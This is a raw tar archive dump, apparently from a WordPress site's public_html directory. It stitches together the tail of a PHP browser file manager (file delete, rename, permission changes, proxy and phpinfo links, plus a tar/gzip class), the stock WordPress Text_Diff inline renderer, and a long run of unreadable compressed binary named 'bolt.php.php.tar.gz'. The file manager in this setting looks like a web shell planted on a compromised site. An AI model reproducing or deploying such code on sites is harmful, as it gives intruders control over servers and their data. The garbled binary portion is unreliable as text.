		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                       inline.php.tar                                                                                      0000644                 00000016000 15217301621 0007313 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php                               0000644                 00000012630 15217274171 0021731 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        bolt.php.php.tar.gz                                                                                 0000644                 00000060651 15217301621 0010215 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Ys(v_5!9THq_DA$A 	?8{#?8¯~seUa"}ߵg	ԒU9^r=T[vy#HCq=U46+l^azgP0@$'҃p ߅V5NAM[/h=Ԙ ̂	073?JLFd K̿?H45ל(?5֦"H$ݡ'[uD37Z_cɩVVF(	!5^,UPix]G^}5C T*RCo|š	θG_QTӖn[p$|Cy#;~z=z|E7S__X"H>kDUޣ ?e-9 	wF̋CCYx	THP"<x&^d*-)k
AZYJ$K'Ԁy*Ғw (kѽq;HBc4ɲ8HVyNNDF{y4ÿUE~Q?;JѰD2^Յ}*o!7ť]+?9TU/CLx{4$ҫDSM`1ߝwhQXdQ4yMfD\i>Kp+[ʊ2swh|d2qp*3 罒t*N@#Ek7]&jҩf	m@g2IhY,_sj/zVxf/uM̌5Ѧʌ_V=-DqPl߇#p*l3J?bNw2x(xN"z(eV
\OBib1*$}48	?G4FD:%x۫mPl9@a[ID|Gķe	j#z?2^/ODAEVyFW%x-^i.Y为毗#Β\$UEF-K*d!t>x^>	q
Q8?x2.SxeʄQRK~'L	@ eΛ+
qo: 	dx:jn<-_jhAYheX @C8;N_G	qf1sd%WXYx@)JYP:?O=x'z
1NuhjNeCyL/K9z[rYJ[xũa-(|:sCҗGÉk@9ϣ&=śE(Qk
H
H>xCEyĻ,"C;*h||c<w7(lp{^FxXANwiSh{F5[_f0zĔExt9}N7skֲ V5oCԱ3'noPz
i,NBn? .T x]HI.| {v_@,s	;7ќE#~̡KPQgi AJ$.JDwJT`"GhBnWH :T,\YxN+2; u`.sܿ*z+͂K4[M2!Akv&[:eX/C#gMN9Xl,)D[KBY"t-Ќ0I))>ѐ٧X3OW9_$2W`GDJ8"6^U<h!	cZX^!WE*	KXL5:	ZS7NXB1*
QuY &v
M)!^z|[C4}8UidPh3IA
ڑӊRw#<(i,ى=M%] g(DxT9$On<uѼp[MZ-s_ʈAFw2[K'un2ss]*ladcd~2Ɋvyh:.efcW<ߘ79$Bʆ,>~:݃N%Y)1E":X|Gktr·Vdrk9U)S"T̠T:/h	*x1ih#cdFZiQ.éIA|D-p0YPB^"HQl#IBlNÿ10{@A/8Q["ƜEo3e=)qP9&qXl#u
h_4CzBl
N|I,p[DЦp76K6KnǂJ^vHyaT։DCHLΓ#&]A:$C^UC$)rHVT(b+TuK(&҉^6-{kkfR\=3ldxRb9Jc#*T	k!uE%I~/8\߾_/_wGMq]^%pHgЩAj|5%̱8@9=C^/`XO(^a	ݗd^_]NI!~";4Z@M^#Xd"_1{gIWf
xqᅥ?i6lWhW_t^[+cMNzBbc!	m*cRZ»EBՅiǍ>@w,65B!cIfD e#JyQ,/2sBkY|:Şqxڒ쳸S*36m-׵$
ZH,c+NhjT2F^2ɸ"]5H|D%brʿ2]dx$$c٦<a:8I1	)e_dQ"Fo 6~9-PQT*d9.!& o 6Y],hڀe]<÷L|1_e[Z\%tgT@Wa 
_i'eqRva(qڜA윌Xy|&&ބ/++V?	M"PTJˠ;JmH(EڢTYr#MxN48N?Q!D;xj&XM@	(-[Z)2l}4B.G@$dqGCǅ	Z{3vp8!Nk}A#M{6Pz1B 6kyMQ͡D(毤i[FKM}1"H;vi)tiBĝ!`G=$`"FAlRK15m~'zՔ͂,~ԥ
-iafҁ'xAc0?/ylD?pYD!AhnkN'VVgc`͎yŁ;e9[Kmz ]a;.WX_kur Qg*w`]%/Y`ywb;D]ƼԘ
feH(Jk"Gz2)AISHiIt}<eǭp#wOeJ"la>?1yy-8T8ۣ;֚># GWBll>ZGX:t:YAOi*$P
'*FDk.9æiH5JD(VE~lօsA4Pw@ށ10&Z|Pwv>
VbnGU!7i֭60?y4Mj%KEo#MOɤeC#3	J1Dv>t}IZdVB&Y:ű
WE%ltalj-}5Q nU#WI֠ D~Ц  46o`op~s_[2^^@}^!hIh@h"!Tѱ}Иcf9nDM	9'o&eҩ끪)fQ/2HP6{u%Ղ)1\!z#(yu;DϤ[w2}tJbEb9Ήt355<z15AC/8%)#:}p!2&g*8%jLѰn& |NC {,~BI4z	xXq]W)ʋq7t*כ98!֗t~&8`\x= Shsޢ|{R3K@;"&u`F&iOq	"RO\`6GIx5aI5`HkѦ,t3C Kv1k}Юiiͧb$@KWGt%B3?C&Œ1	RB?'^~WSccCk{cNc-|fIz+˄%aF9D"T5<J/KMH|鈚DiOgl(S=@jl<($5;6KסsV2M$Hv#8iHh4\ӡ݄+[fGUqş㛗91\9Fy9?E^y_D'	I'iĸ{=}&4;Ѡ]Yuunn+dZǝj `";eEk'ƛVI71~V:G.vt)H
:d<[^`CKy8#GkQ-j,כzLZի8+Lzxu!ºMw~FbhȩS8#ø`s,uot\_tÇkQE$!>GL@$vO8AT7ŭb`bsH|-ܓi"qZsÌ\7HdST@w0~f!$Asom4z:(uM/IB ?yr.b~c$G(&HőjRL3Ƞ065BNgrf:lQm,UKr	#<0LR[0LQ\*;~f,DG}t|$P5ZLҪtRvr;T$2lGd2#s3~H31Mb6{OX<,~b'sg0R[)n:&pkV~B@"R2!tO׿ڭk&SJ~}}08 z kg8eS[6Lrn7ׇAN>uW#έpVAtR^+b}dɉk)KQΓ(,\/N12-bN~|6'KC%W0|"^_HaJ 8	;@']āC:}ֈUBMj[^N+ʉ=z/"c[ӂ.R UBj~E=p?;'0-9k8#r#C|Rs#u(!\(NkvG73MzE"[fG,-%R*)ij8+9=bw"#dއtы")x[',^grkJlٵbfJvMWUԝR-WW33͞mi\aX
:;m-=E@aC>YbjKpȴ>TPf8T^HUڣ"\k^ x5y#H#4orå5 ʢ2m I'/5+#NBRexqk`rz>c9@:%Ph
A#=|CMH<IX88|K0K`f H,eA"{4Z]_r8]J;2^6Ra"ПJ=͵')z&rhC0JڹT+n)ZGFoq(dZAhCCVnzz)%-Bnl,VW名lZEyi;|H[!2A~pA)갵C<ϤjDpKUVV`t]
QRj?jS/"ucDv&,yr"2%,ZƣUKp'ڽi{YτfE 8_<*T``\;\y -h4Ċ)a*!vtFѳܑո
뉆ԛ|x>kDޖ=LÁ3'PJ\0?rThS6hDRh!PvX	s,r)e<Xw<j-l}+	OlL벱	#"TNKUyR<E鐘uP'٠\=̞wq6&B0ZXzJۙ62UKԜ+(;IjzjR}cO75zo5dr#nΥBp3(Iez;)j׳­]2q!thXOir4vrt{c}?TQ+T.?bNzݑ^tqP!sN]n+YSSB.Nެ,'!'OJKsF1l7XZ,O\`J&;<iO:tқ{ʮy?tthD.]{\+U߷ڛ<y6:Sd41hSOg{
|ٱl3Ad sF:n*hJѲ_-=YtSn{np˩}׳nH'7c{-cnWq88=#t-mSeidfF;S揓$$&4&[}f~V%[s6XgM!RbդA8?G
$0P81mt͡rlN9\лpaAf; EncZ z{KEdSF֚jU3WHibYI*6]	ExVmN v8иWϯjjdsZڪ\1ȥXiک/ E;l7 6EY-pc4uhrؓT6$ZʿGX6;J Q?QguI&֓m)7e/kHFô뜹CŢ冀M]|Uv_86{ՅCh%  :SQ@r'/,K^!	)CJp)9^TRq+аu-wNW׸$FkȼZȵ:Q"-z	; V\<>p(5ߚs@w_~oНL:Q-V9\)m[a?:A2].~fa	Jʲg UbkhyA!~f^&G>U@p!j2XeD+ x@<IWT9ILoC@GR_~o?;_	+Mi	/?}X7%	#@Q;a]RĞ-!'#nfıq~ǫ
Upto\3i:80KzcC*-Q(bxxK+@bP AUD\GO^l*XڨUuذ˂NI#	W5M3VA>+8v	&Ł	[xͤ#?=d1vsIɞJ}awm
o7=A9NM,"3 )/E	ؚ6LBY`&&4o\X%/x]8G͜l! ,oIT)v׻TNsfwxh7#k}̌ɅQقm>8h7b7&'glEh3uGgs{%f°^2y	zOAPic\%Q'oNb9a2k[͛nҟt}q$tk@?!]!J,L-FP_co5r,%[aM#b8&э:䐂p;bZ"^RsaqWs;.&	>2(.AXPB2B{dS8l.>ˌ7V'Kǒ-3c}?WkA3WMzwjȺu*ӭ[TjBcE[&z\'=X)531cK]yp\54JWN[YmQ[ȭӂouxǘY>|	Rn>&!|C߳tZXon洄y_,@
w:񻮰)RFn
4"3$s,0iglFf߀NȔfZ7KMiz3WpTS,X˝ZRNa|hAf_=?H8TC5XMUEu7~7;sLhK˦}cL=.A6|>`b]][2`	\4~ykU#ZKABcH|n#*S?&#joJ(2~Ųd2ceBZ.J$kͬ&O5!psXK:'떰8;gϖL~H_J粣z`gX%XE4Xh8nqP4&qb-ʭZmt_\bz2ZR3ٙ@zE=!'^P\`=Q?RsHˇjNn r6Uя&(.
a7;,n~￳%LKiF2LQ3 zr??b࿸;?g
7tP>yi#.hDK:^HW;ۊʷv[+6ЖPEIAxy;-f+=ouC8şP2Hpǈ2FZCj0ҋS\LQXd:ߩnI
|Y~EZx1k\Tc+s(4rvj*MT<xyBM8zBOcYʈɯ$\So_\_onK[ a#c_^rv]LCNaB[0'k[ݐtrp1;7V(v;=ÛM9+HО/(K͔W(;%Dm$O_-J0kw͘[îݸKLbs	W~5%-O,i##.~4HaXj^m|]=//q3O1g*b=Hm6ňXGÉH.fPmHw2HDcw+='rIo09?{?GG&6"*v#K~wmMy<=31rȧNi}mu`M@l/&XlRl.ŬECi="z('}p/={U`j`$.9-~\>K968eI`hR83Z>p2ESAaf_.g?d,	np
sk|	nЀm
q61VP:WH<&v%[|HrPhR3NTNBЦi6iX?fp=oVޔ'Hw\n
